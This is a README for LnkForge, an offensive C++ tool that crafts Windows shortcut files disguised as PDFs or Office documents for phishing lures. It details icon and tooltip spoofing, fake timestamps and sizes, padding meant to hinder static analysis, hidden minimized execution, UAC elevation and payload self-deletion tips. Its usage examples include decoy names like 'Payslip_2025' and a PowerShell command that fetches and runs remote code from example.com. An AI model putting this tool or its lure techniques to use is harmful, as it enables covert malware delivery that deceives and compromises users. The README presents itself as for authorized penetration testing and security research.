Educational and authorized red-team use only. LnkForge is published for security research, penetration testing within authorized engagements, and controlled lab environments. The author assumes no responsibility for misuse.
LnkForge is a command-line tool written in C++ that constructs .lnk (Windows Shortcut) files from scratch. It implements the MS-SHLLINK specification directly in binary, without relying on Windows shell APIs.
The primary use case is security research and authorized penetration testing — specifically, simulating phishing lure delivery by crafting shortcut files that:
LnkForge is a C++ rewrite and extension of the original C# tool DarkLnk. The binary format is assembled byte-by-byte, giving full control over every field — including those normally hidden from the shell API.
LnkForge started from the same idea as DarkLnk (C#, by wariv): use the ItemIDList/LinkInfo split in the MS-SHLLINK format to decouple the displayed icon from the real executable. The core technique is identical.
What LnkForge adds on top:
| Feature | DarkLnk | LnkForge |
|---|---|---|
Icon spoofing via -ext |
✓ | ✓ |
| Fake tooltip path | ✓ | ✓ |
| Custom binary and arguments | ✓ | ✓ |
Base64 argument encoding (-argsb64) |
✗ | ✓ |
Built-in -encode / -decode utility |
✗ | ✓ |
Fake timestamps (-faketime) |
✗ | ✓ |
UAC elevation (-runas) |
✗ | ✓ |
Null padding between sections (-padnull) |
✗ | ✓ |
Random padding between sections (-padrand) |
✗ | ✓ |
Fake file size (-fakesize) |
✗ | ✓ |
SW_SHOWMINNOACTIVE (no focus steal on launch) |
✗ | ✓ |
LinkInfoHeaderSize = 0x1C per spec §2.3 |
✗ (0x18) | ✓ |
| VolumeID without drive serial (portable) | ✗ | ✓ |
| No .NET runtime required | ✗ | ✓ |
Two items in the table deserve a note. DarkLnk writes LinkInfoHeaderSize = 0x18 (24), which contradicts the MS-SHLLINK spec §2.3 minimum of 28 (0x1C) — Windows accepts it, but it is technically non-conformant. The VolumeID in DarkLnk includes the build machine's drive serial number, which means the shortcut only resolves correctly on the same machine; LnkForge omits the serial so the file works on any target.
A .lnk file contains two independent data structures that serve entirely different purposes:
| Section | Purpose | What the attacker controls |
|---|---|---|
| ShellLinkItemIDList | Provides icon and hover tooltip — the decoy | -ext, -fakepath, -fakeroot |
| LinkInfo + StringData | Contains the real executable and arguments | -bin, -args / -argsb64 |
Windows resolves the icon from the ItemIDList and uses the registered handler for the extension found there. When the user double-clicks, Windows ignores the ItemIDList and launches the executable from LinkInfo. The two are completely independent — they can point to entirely different things.
The window show command is set to SW_SHOWMINNOACTIVE — the launched process starts minimized and never takes focus, making execution invisible to a casual observer.
| Flag | Argument | Description | Default |
|---|---|---|---|
-ext |
str |
Fake extension — drives the shortcut icon (pdf, docx, xlsx, mov, mp3, …) |
pdf |
-o |
str |
Output filename without .lnk |
calc |
-args |
str |
Arguments passed to the binary (plain text; quote if spaces) | -command "calc.exe" |
-argsb64 |
b64 |
Arguments encoded in Base64 — recommended to avoid shell quoting issues | — |
-bin |
str |
Path to the executable to launch | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| Flag | Argument | Description | Default |
|---|---|---|---|
-faketime |
— | Randomize CreationTime, AccessTime, WriteTime in the header (29–600 days in the past) |
off |
-fakesize |
int |
Fake FileSize written to the header |
2147483647 (INT32_MAX) |
-fakepath |
str |
Path shown in the hover tooltip | Program Files\Adobe\Acrobat |
-fakeroot |
str |
Drive letter (max 3 chars) | C:\ |
-padnull |
— | Insert a random number of zero bytes between IDList sections | off |
-padrand |
— | Insert random bytes between IDList sections (harder to analyze statically) | off |
| Flag | Argument | Description |
|---|---|---|
-encode |
str |
Encode text to Base64 and print the corresponding -argsb64 flag |
-decode |
b64 |
Decode Base64 to text (for analysis and verification) |
| Flag | Description | Default |
|---|---|---|
-runas |
Set the RunAsUser bit (bit 13 = 0x00002000) in LinkFlags — Windows triggers a UAC prompt on double-click and launches the binary as Administrator |
off |
| Flag | Description |
|---|---|
-h, --help |
Show the help screen |
Adding -runas sets the RunAsUser bit in the LNK header's LinkFlags field. Windows reads this flag before launching the target and presents a UAC elevation dialog to the user. If the user approves, the binary executes with Administrator privileges.
| LNK field | Offset | Value (with -runas) |
|---|---|---|
LinkFlags |
0x14 |
0x000820AB (0x000800AB + bit 13) |
| Bit 13 | 0x15 (byte) |
|= 0x20 |
Payload note: when the binary (e.g. powershell.exe) is launched elevated via the UAC prompt, it runs at high integrity. High-integrity processes cannot enumerate Explorer windows at medium integrity through Shell.Application. If your payload includes self-deletion logic that walks Shell.Application.Windows(), run the self-delete step in a separate, unelevated process — the elevated process will not see the Explorer window containing the .lnk file.
Using -args directly on the command line can break when the payload contains quotes or special characters. The recommended approach is a two-step workflow:
Step 1 — encode the payload:
LnkForge.exe -encode "-command \"Start-Process calc\""
LnkForge prints the Base64 string and a ready-to-use -argsb64 flag.
Step 2 — build the LNK using the Base64 output:
LnkForge.exe -o Quarterly_Report -ext pdf -faketime -padrand -argsb64 <b64>
The output is Quarterly_Report.lnk — a shortcut displaying a PDF icon that executes PowerShell when opened.
# PDF lure with obfuscated timestamps and random inter-section padding
LnkForge.exe -o Quarterly_Report -ext pdf -faketime -padrand -argsb64 <b64>
# Word icon, fake Microsoft Office tooltip path
LnkForge.exe -o Payslip_2025 -ext docx -faketime -padrand \
-fakepath "Microsoft\Office\Word" -argsb64 <b64>
# Excel icon, fake size matching a real spreadsheet (~240 KB)
LnkForge.exe -o Budget -ext xlsx -fakesize 245760 -faketime -argsb64 <b64>
# Decode Base64 argument from a captured LNK file (for analysis)
LnkForge.exe -decode LWNvbW1hbmQgImNhbGMuZXhlIg==
# PDF lure with UAC elevation — user sees a UAC prompt, payload runs as Administrator
LnkForge.exe -o Setup -ext pdf -faketime -runas -args "-NoProfile -WindowStyle Hidden -Command irm https://example.com/install|iex"
The ShellLinkHeader is exactly 76 bytes. Key fields written by LnkForge:
| Offset | Field | Value / Source |
|---|---|---|
0x00 |
HeaderSize |
0x0000004C (76) |
0x04 |
LinkCLSID |
{00021401-0000-0000-C000-000000000046} |
0x14 |
LinkFlags |
0x000800AB — HasLinkTargetIDList, HasLinkInfo, HasRelativePath, HasArguments, IsUnicode, bit 11 unused; +0x00002000 RunAsUser when -runas |
0x18 |
FileAttributes |
0x00000020 (ARCHIVE) |
0x1C |
CreationTime |
FILETIME — random past date via -faketime |
0x24 |
AccessTime |
FILETIME — random offset from CreationTime |
0x2C |
WriteTime |
FILETIME — random offset from CreationTime |
0x34 |
FileSize |
-fakesize (default: INT32_MAX) |
0x38 |
IconIndex |
0 |
0x3C |
ShowCommand |
0x07 = SW_SHOWMINNOACTIVE (starts minimized, no focus) |
0x40 |
HotKey |
0x0000 |
0x42 |
Reserved | 10 × 0x00 |
Requirements:
Build:
Open LnkForge.slnx in Visual Studio and build the Release x64 configuration, or use MSBuild:
msbuild src\LnkForge.vcxproj /p:Configuration=Release /p:Platform=x64
The output binary is written to bin\Release\x64\LnkForge.exe. No external dependencies.
Source layout:
| File | Responsibility |
|---|---|
main.cpp |
CLI argument parsing, help screen, Base64 utility modes |
LnkForge.cpp / .h |
LNK binary assembly — domain layer, knows the MS-SHLLINK format |
Config.h |
Plain data structure holding all user-supplied options |
BinaryUtils.cpp / .h |
Stateless byte utilities — LE conversions, string encoding, Base64 |
LnkForge is published for educational purposes and authorized security testing only. Use only in environments where you have explicit written permission. Running LnkForge against systems or users without authorization is illegal in most jurisdictions. The author (Marek Wesolowski) assumes no liability for any misuse.
MS-SHLLINK specification: https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink